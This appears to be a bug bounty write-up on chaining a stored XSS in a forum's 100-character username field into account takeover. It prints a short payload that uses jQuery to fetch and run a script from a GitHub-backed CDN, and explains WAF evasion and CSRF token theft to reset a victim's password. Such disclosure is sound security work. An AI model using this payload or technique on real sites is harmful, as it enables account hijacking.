Beek Labs

From Stored XSS to Account Takeover with Limited Characters, CDN, jQuery, and GitHub

Author: Erik Villegas

A Stored XSS vulnerability was identified in the username field of a forum, limited to 100 characters, which restricted the use of standard payloads.

By extracting the CSRF token and sending a crafted request to update account detail, without requiring the current password, the issue escalated to an account takeover.

Despite Cloudflare being present as a WAF, its protection proved ineffective, and the use of jQuery enabled loading external scripts with minimal payload size, bypassing both character limits and filtering.

The Idea

Embedding a malicious script inline would exceed the 100-character limit and increase the likelihood of detection by the WAF.
Instead, the attack leveraged jQuery’s script-loading function to dynamically retrieve malicious code from a CDN.

The payload was hosted in a public GitHub repository and delivered through a third-party CDN (cdn.jsdelivr.net).

This method significantly reduced the payload size, keeping it within the character limit while evading filtering mechanisms.

Exploitation

The payload loaded my external script, which performed two main actions:

  1. Extract the CSRF token from the /profile endpoint.
  2. Send a crafted POST request to update the victim’s profile, including the password field.

Because the application didn’t require the old password for updates, this resulted in a direct account takeover.

Steps to Reproduce

  1. Create a malicious JavaScript file in a GitHub repository.

The following image shows the hosted code that retrieves the CSRF token and sends the POST request to change the victim’s password:

GitHub script hosting

  1. Serve it through a CDN linked to the repository, for example:

https://cdn.jsdelivr.net/gh/{GitHubUser}/{repo}/{file}

Script served via CDN

  1. Craft the Stored XSS payload with jQuery (under 100 characters) to load the external script:
<svg/onclick=$.getScript("//cdn.jsdelivr.net/gh/userGitHub/js/3.js")>

The following image is the Stored XSS payload leveraging jQuery to load external script:

Stored XSS Payload

  1. Once the payload executes in the victim’s browser, the script retrieves the CSRF token and updates the profile:

Account Takeover HTTP Request

Victim’s account password successfully changed.

Impact

By chaining a Stored XSS with CSRF token extraction and a weak profile update policy, this attack escalated to a full account takeover.

Key factors that enabled this exploitation:

Timeline & Bounty

BountyReward